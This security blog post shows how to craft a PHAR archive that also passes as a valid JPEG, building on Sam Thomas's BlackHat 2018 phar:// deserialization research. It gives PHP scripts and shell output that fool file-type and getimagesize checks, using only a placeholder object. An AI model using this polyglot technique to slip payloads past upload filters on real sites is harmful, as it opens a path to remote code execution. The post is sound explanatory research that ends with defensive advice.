US BlackHat 2018 proved that is possible to obtain RCE from a PHAR package, moreover, by tweaking its binary content, it's possible to disguise it as a full valid image, bypassing security checks.

Let's see how.

Background

During US BlackHat 2018, Sam Thomas held a session about exploiting phar:// stream wrapper in PHP to perform code execution on the server (slides).

While executing a PHAR package, PHP will unserialize its contents, allowing an attacker to start a chain of PHP Object Inclusion. The most interesting part is how the payload is triggered: any file operation on the archive will execute it. Finally, there's no need to guess the correct file name, since even failed file calls require PHP to unserialize the contents.

As a bonus point, it's completely possible to disguise a PHAR package as a 100% valid image.

In this post we'll see how you can do that.

Down to the bytecode level

Sometimes we forget that, but files are just a bunch of bytes following a predefined structure. Applications will check if they can manage such stream of data and, if they succed, they will produce an output.

In his presentation, Thomas gave an hint on how you can create a PHAR package that has a valid JPEG header.



Image courtesy from Sam Thomas presentation

What we have to do is to create a file that has the JPEG header and update PHAR checksum accordingly. In this way it will be seen as an image but PHP would be able to execute it.

Crafting, take 1

Changing few bytes and update the checksum should be something that could be easily done by hand, right?

No.

Calculating the checksum (at least for me) was a pain in the back. Then I thought: What if I ask PHP to do all those work for me?

So I adapted the original script from Thomas:

<?php class TestObject {} $phar = new Phar("phar.phar"); $phar->startBuffering(); $phar->addFromString("test.txt","test"); $phar->setStub("\xFF\xD8\xFF\xFE\x13\xFA\x78\x74 __HALT_COMPILER(); ?>"); $o = new TestObject(); $phar->setMetadata($o); $phar->stopBuffering();

As you can see, we're adding raw HEX bytes to the stub section of the PHAR archive. This is the raw HEX result:

tampe125@AlphaCentauri:~$ xxd phar.jpeg 00000000: ffd8 fffe 13fa 7874 205f 5f48 414c 545f ......xt __HALT_ 00000010: 434f 4d50 494c 4552 2829 3b20 3f3e 0d0a COMPILER(); ?>.. 00000020: 4c00 0000 0100 0000 1100 0000 0100 0000 L............... 00000030: 0000 1600 0000 4f3a 3130 3a22 5465 7374 ......O:10:"Test 00000040: 4f62 6a65 6374 223a 303a 7b7d 0800 0000 Object":0:{}.... 00000050: 7465 7374 2e74 7874 0400 0000 177e 7a5b test.txt.....~z[ 00000060: 0400 0000 0c7e 7fd8 b601 0000 0000 0000 .....~.......... 00000070: 7465 7374 6f9e d6c6 7d3f ffaa 7bc8 35ea testo...}?..{.5. 00000080: bfb5 ecb8 7294 2692 0200 0000 4742 4d42 ....r.&.....GBMB

Will it be a valid PHAR and JPEG image?

tampe125@AlphaCentauri:~$ file phar.jpeg phar.jpeg: JPEG image data tampe125@AlphaCentauri:~$ php -a php > var_dump(mime_content_type('phar.jpeg')); php shell code:1: string(10) "image/jpeg" php > var_dump(file_exists('phar://phar.jpeg/test.txt')); php shell code:1: bool(true)

PHP recognizes it as an image and we can still explore the contents of the archive. Ah, the joy!

Major takeaway Please review the stub section and note how it's missing the opening PHP tag. This is something crucial that would elude most of the content scanner. The only thing required to the archive to be valid is the function __HALT_COMPILER() ; I think that's used as token by PHP to know how much data it should be skipping.

Going that extra mile

We have a file that would pass any check based on file headers, however anything more sofisticate than that would fail. For example, checking the image with getimagesize will return false, since we do not have a "real" image:

tampe125@AlphaCentauri:~$ php -a php > var_dump(getimagesize('phar.jpeg')); php shell code:1: bool(false)

Bummer.

But wait, we saw that we can inject as much gibberish we want before the __HALT_COMPILER() token. What if we craft a full image?

After spending too much time fooling around with JPEG specifications and reading PHP source code (something I wouldn't wish neither to my worst enemy), I decided to go dumb again.

Can I simply create a 10x10 black image with GIMP and embed it?

<?php class TestObject {} $jpeg_header_size = "\xff\xd8\xff\xe0\x00\x10\x4a\x46\x49\x46\x00\x01\x01\x01\x00\x48\x00\x48\x00\x00\xff\xfe\x00\x13". "\x43\x72\x65\x61\x74\x65\x64\x20\x77\x69\x74\x68\x20\x47\x49\x4d\x50\xff\xdb\x00\x43\x00\x03\x02". "\x02\x03\x02\x02\x03\x03\x03\x03\x04\x03\x03\x04\x05\x08\x05\x05\x04\x04\x05\x0a\x07\x07\x06\x08\x0c\x0a\x0c\x0c\x0b\x0a\x0b\x0b\x0d\x0e\x12\x10\x0d\x0e\x11\x0e\x0b\x0b\x10\x16\x10\x11\x13\x14\x15\x15". "\x15\x0c\x0f\x17\x18\x16\x14\x18\x12\x14\x15\x14\xff\xdb\x00\x43\x01\x03\x04\x04\x05\x04\x05\x09\x05\x05\x09\x14\x0d\x0b\x0d\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14". "\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\xff\xc2\x00\x11\x08\x00\x0a\x00\x0a\x03\x01\x11\x00\x02\x11\x01\x03\x11\x01". "\xff\xc4\x00\x15\x00\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\xff\xc4\x00\x14\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xda\x00\x0c\x03". "\x01\x00\x02\x10\x03\x10\x00\x00\x01\x95\x00\x07\xff\xc4\x00\x14\x10\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x01\x05\x02\x1f\xff\xc4\x00\x14\x11". "\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x03\x01\x01\x3f\x01\x1f\xff\xc4\x00\x14\x11\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20". "\xff\xda\x00\x08\x01\x02\x01\x01\x3f\x01\x1f\xff\xc4\x00\x14\x10\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x06\x3f\x02\x1f\xff\xc4\x00\x14\x10\x01". "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x01\x3f\x21\x1f\xff\xda\x00\x0c\x03\x01\x00\x02\x00\x03\x00\x00\x00\x10\x92\x4f\xff\xc4\x00\x14\x11\x01\x00". "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x03\x01\x01\x3f\x10\x1f\xff\xc4\x00\x14\x11\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda". "\x00\x08\x01\x02\x01\x01\x3f\x10\x1f\xff\xc4\x00\x14\x10\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x01\x3f\x10\x1f\xff\xd9"; $phar = new Phar("phar.phar"); $phar->startBuffering(); $phar->addFromString("test.txt","test"); $phar->setStub($jpeg_header_size." __HALT_COMPILER(); ?>"); $o = new TestObject(); $phar->setMetadata($o); $phar->stopBuffering();

Now, it's time to check it out:

tampe125@AlphaCentauri:~$ file phar.jpeg phar.jpeg: JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 16, comment: "Created with GIMP", progressive, precision 8, 10x10, frames 3 tampe125@AlphaCentauri:~$ php -a php > var_dump(mime_content_type('phar.jpeg')); php shell code:1: string(10) "image/jpeg" php > var_dump(file_exists('phar://phar.jpeg/test.txt')); php shell code:1: bool(true) php > var_dump(getimagesize('phar.jpeg')); php shell code:1: array(7) { [0] => int(10) [1] => int(10) [2] => int(2) [3] => string(22) "width="10" height="10"" 'bits' => int(8) 'channels' => int(3) 'mime' => string(10) "image/jpeg" }

And finally, we're done. File is a PHAR package containing the class we want to exploit, but it's still a valid image (it can even be opened with system image viewer):

Conclusions

As we just saw, files are just a bunch of bytes: if the only checks we're doing are based on their metadata, we're going to have a bad time. It's pretty easy to fool core functions to return the result we want. The only solution is to actually read file contents and search for malicious strings.